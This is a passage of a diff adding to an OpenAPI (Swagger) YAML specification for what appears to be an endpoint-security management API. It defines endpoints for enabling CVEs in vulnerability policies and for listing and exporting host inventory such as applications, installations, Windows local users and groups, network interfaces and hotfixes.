+        format: uuid
+        in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: Enable a single CVE for the vulnerability policy
+      operationId: data_endpoint_vulnerability_Policy_enable_cve
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/CveId'
+      responses:
+        "204":
+          description: ""
+        "403":
+          description: Forbidden
+        "404":
+          description: ""
+          schema:
+            $ref: '#/definitions/SubPolicyCodeDetailsResponse'
+      tags:
+        - agent
+  /data/endpoint/vulnerability/Policy/{id}/enable_cves/:
+    parameters:
+      - description: A UUID string identifying this vulnerability policy.
+        format: uuid
+        in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: Enable multiple CVEs for the vulnerability policy
+      operationId: data_endpoint_vulnerability_Policy_enable_cves
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/CveIdList'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/EnableCveBulk'
+        "403":
+          description: Forbidden
+        "404":
+          description: ""
+          schema:
+            $ref: '#/definitions/SubPolicyCodeDetailsResponse'
+      tags:
+        - agent
+  /data/host_properties/applications/:
+    get:
+      description: ""
+      operationId: data_host_properties_applications_list
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: name
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: publisher
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: ostype
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: cpe_prefix
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: app_type
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: description
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: active_installations
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: total_installations
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: first_installation_date
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: last_installation_date
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: first_seen
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: last_seen
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: oldest_version
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: newest_version
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: most_used_version
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: most_used_version_count
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/AppStatistics'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - host_properties
+    parameters: []
+  /data/host_properties/applications/export/:
+    get:
+      description: Endpoint for exporting the current queryset as a CSV file.
+      operationId: data_host_properties_applications_export
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: name
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: publisher
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: ostype
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: cpe_prefix
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: app_type
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: description
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: active_installations
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: total_installations
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: first_installation_date
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: last_installation_date
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: first_seen
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: last_seen
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: oldest_version
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: newest_version
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: most_used_version
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: most_used_version_count
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - host_properties
+    parameters: []
+  /data/host_properties/applications/refresh/:
+    parameters: []
+    post:
+      description: Refresh the materialized view for application statistics data
+      operationId: data_host_properties_applications_refresh_mv
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/AppStatistics'
+      responses:
+        "200":
+          description: Application materialized view refreshing task started
+        "400":
+          description: Error message
+      tags:
+        - host_properties
+  /data/host_properties/applications/refresh_state/:
+    get:
+      description: Get the last refresh status object for the materialized view for application statistics data
+      operationId: data_host_properties_applications_refresh_state
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: name
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: publisher
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: ostype
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: cpe_prefix
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: app_type
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: description
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: active_installations
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: total_installations
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: first_installation_date
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: last_installation_date
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: first_seen
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: last_seen
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: oldest_version
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: newest_version
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: most_used_version
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: most_used_version_count
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/MaterializedViewStatus'
+        "404":
+          description: No refresh run found
+      tags:
+        - host_properties
+    parameters: []
+  /data/host_properties/applications/{id}/:
+    get:
+      description: ""
+      operationId: data_host_properties_applications_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/AppStatistics'
+      tags:
+        - host_properties
+    parameters:
+      - description: A UUID string identifying this app statistic materialized view.
+        format: uuid
+        in: path
+        name: id
+        required: true
+        type: string
+  /data/host_properties/installations/:
+    get:
+      description: ""
+      operationId: data_host_properties_installations_list
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: application
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: agent
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: version
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: installation_date
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: installed_for
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: first_seen
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: last_seen
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: installed_as_dependency
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: source_package_name
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: source_package_version
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: status
+          required: false
+          type: string
+        - in: query
+          name: agent.groups.name__wildcard
+          required: false
+          type: string
+        - in: query
+          name: agent.groups.name__exact
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          name: agent.hostname
+          required: false
+          type: string
+        - in: query
+          name: agent.id
+          required: false
+          type: string
+        - in: query
+          name: agent.osproducttype
+          required: false
+          type: string
+        - in: query
+          name: agent.domainname
+          required: false
+          type: string
+        - in: query
+          name: agent.policy.id
+          required: false
+          type: string
+        - in: query
+          name: agent.policy.name
+          required: false
+          type: string
+        - in: query
+          name: agent.groups.id
+          required: false
+          type: string
+        - in: query
+          name: application.id
+          required: false
+          type: string
+        - in: query
+          name: application.name
+          required: false
+          type: string
+        - in: query
+          name: application.publisher
+          required: false
+          type: string
+        - enum:
+            - linux
+            - macos
+            - windows
+          in: query
+          name: application.ostype
+          required: false
+          type: string
+        - in: query
+          name: application.description
+          required: false
+          type: string
+        - enum:
+            - uwp
+            - win32
+          in: query
+          name: application.app_type
+          required: false
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/Installation'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - host_properties
+    parameters: []
+  /data/host_properties/installations/export/:
+    get:
+      description: Endpoint for exporting the current queryset as a CSV file.
+      operationId: data_host_properties_installations_export
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: application
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: agent
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: version
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: installation_date
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: installed_for
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: first_seen
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: last_seen
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: installed_as_dependency
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: source_package_name
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: source_package_version
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: status
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - host_properties
+    parameters: []
+  /data/host_properties/installations/version_graph/:
+    get:
+      description: ""
+      operationId: data_host_properties_installations_version_graph
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: application
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: agent
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: version
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: installation_date
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: installed_for
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: first_seen
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: last_seen
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: installed_as_dependency
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: source_package_name
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: source_package_version
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: status
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - format: date
+          in: query
+          name: from_date
+          required: true
+          type: string
+        - format: date
+          in: query
+          name: to_date
+          required: true
+          type: string
+        - format: uuid
+          in: query
+          name: application_id
+          required: true
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            items:
+              $ref: '#/definitions/InstallationVersionGraphResponse'
+            type: array
+        "400":
+          description: Invalid form
+          examples:
+            application/json:
+              field_name:
+                - error message
+                - other error message
+        "404":
+          description: Not found
+          examples:
+            application/json:
+              detail: Not found.
+      tags:
+        - host_properties
+    parameters: []
+  /data/host_properties/installations/{id}/:
+    get:
+      description: ""
+      operationId: data_host_properties_installations_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Installation'
+      tags:
+        - host_properties
+    parameters:
+      - description: A UUID string identifying this installation.
+        format: uuid
+        in: path
+        name: id
+        required: true
+        type: string
+  /data/host_properties/local_groups/windows/:
+    get:
+      description: ""
+      operationId: data_host_properties_local_groups_windows_list
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: last_update
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: creation_date
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: agent
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: name
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: comment
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: sid
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: kind
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: domain
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: parent_group
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: local_users
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: remote_users
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          name: agent.hostname
+          required: false
+          type: string
+        - in: query
+          name: agent.id
+          required: false
+          type: string
+        - in: query
+          name: user_count
+          required: false
+          type: number
+        - in: query
+          name: parent_group.id
+          required: false
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/WindowsLocalGroup'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - host_properties
+    parameters: []
+  /data/host_properties/local_groups/windows/export/:
+    get:
+      description: Endpoint for exporting the current queryset as a CSV file.
+      operationId: data_host_properties_local_groups_windows_export
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: last_update
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: creation_date
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: agent
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: name
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: comment
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: sid
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: kind
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: domain
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: parent_group
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: local_users
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: remote_users
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - host_properties
+    parameters: []
+  /data/host_properties/local_groups/windows/{id}/:
+    get:
+      description: ""
+      operationId: data_host_properties_local_groups_windows_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/WindowsLocalGroup'
+      tags:
+        - host_properties
+    parameters:
+      - description: A unique value identifying this windows local group.
+        in: path
+        name: id
+        required: true
+        type: string
+  /data/host_properties/local_users/windows/:
+    get:
+      description: ""
+      operationId: data_host_properties_local_users_windows_list
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: last_update
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: creation_date
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: name
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: sid
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: agent
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: rid
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: full_name
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: privilege_level
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: password_last_set
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: password_expired
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: num_logons
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: last_logon
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: bad_password_count
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: comment
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: flags
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: password_doesnt_expire
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: account_disabled
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          name: agent.hostname
+          required: false
+          type: string
+        - in: query
+          name: agent.id
+          required: false
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/WindowsLocalUser'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - host_properties
+    parameters: []
+  /data/host_properties/local_users/windows/export/:
+    get:
+      description: Endpoint for exporting the current queryset as a CSV file.
+      operationId: data_host_properties_local_users_windows_export
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: last_update
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: creation_date
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: name
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: sid
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: agent
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: rid
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: full_name
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: privilege_level
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: password_last_set
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: password_expired
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: num_logons
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: last_logon
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: bad_password_count
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: comment
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: flags
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: password_doesnt_expire
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: account_disabled
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - host_properties
+    parameters: []
+  /data/host_properties/local_users/windows/{id}/:
+    get:
+      description: ""
+      operationId: data_host_properties_local_users_windows_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/WindowsLocalUser'
+      tags:
+        - host_properties
+    parameters:
+      - description: A unique value identifying this windows local user.
+        in: path
+        name: id
+        required: true
+        type: string
+  /data/host_properties/net_interfaces/:
+    get:
+      description: ""
+      operationId: data_host_properties_net_interfaces_list
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: name
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: guid
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          name: agent.hostname
+          required: false
+          type: string
+        - in: query
+          name: agent.id
+          required: false
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/NetInterface'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - host_properties
+    parameters: []
+  /data/host_properties/net_interfaces/export/:
+    get:
+      description: Endpoint for exporting the current queryset as a CSV file.
+      operationId: data_host_properties_net_interfaces_export
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: name
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: guid
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - host_properties
+    parameters: []
+  /data/host_properties/net_interfaces/{id}/:
+    get:
+      description: ""
+      operationId: data_host_properties_net_interfaces_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/NetInterface'
+      tags:
+        - host_properties
+    parameters:
+      - description: A UUID string identifying this net interface.
+        format: uuid
+        in: path
+        name: id
+        required: true
+        type: string
+  /data/host_properties/os_support/:
+    get:
+      description: ""
+      operationId: data_host_properties_os_support_list
+      parameters: []
+      responses:
+        "200":
+          description: |-
+            Host Properties OS compatibility list
+
+            Shows which host properties types are available for specific operating systems.
+          examples:
+            application/json:
+              - host_properties_type: application
+                supported_os:
+                  - linux
+                  - windows
+              - host_properties_type: disk
+                supported_os:
+                  - linux
+                  - macos
+                  - windows
+              - host_properties_type: group
+                supported_os:
+                  - windows
+              - host_properties_type: net_interface
+                supported_os:
+                  - linux
+                  - macos
+                  - windows
+              - host_properties_type: qfe
+                supported_os:
+                  - windows
+              - host_properties_type: quarantine
+                supported_os:
+                  - linux
+                  - macos
+                  - windows
+              - host_properties_type: user
+                supported_os:
+                  - windows
+          schema:
+            items:
+              $ref: '#/definitions/HostPropertiesOSSupport'
+            type: array
+      tags:
+        - host_properties
+    parameters: []
+  /data/host_properties/qfes/:
+    get:
+      description: ""
+      operationId: data_host_properties_qfes_list
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: agent
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: hot_fix_id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: description
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: caption
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: installed_by
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: installed_on
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          name: agent.hostname
+          required: false
+          type: string
+        - in: query
+          name: agent.id
+          required: false
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/WindowsQfe'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - host_properties
+    parameters: []
+  /data/host_properties/qfes/export/:
+    get:
+      description: Endpoint for exporting the current queryset as a CSV file.
+      operationId: data_host_properties_qfes_export
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: agent
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: hot_fix_id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: description
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: caption
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: installed_by
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: installed_on
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - host_properties
+    parameters: []
+  /data/host_properties/qfes/{id}/:
+    get:
+      description: ""
+      operationId: data_host_properties_qfes_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/WindowsQfe'
+      tags:
+        - host_properties
+    parameters:
+      - description: A UUID string identifying this windows qfe.
+        format: uuid
+        in: path
+        name: id
+        required: true
+        type: string
+  /data/host_properties/remote_users/windows/:
+    get:
+      description: ""
+      operationId: data_host_properties_remote_users_windows_list
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: last_update
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: creation_date
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: name
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: sid
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: domain
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          name: agent.hostname
+          required: false
+          type: string
+        - in: query
+          name: agent.id
+          required: false
+          type: string
+      responses:
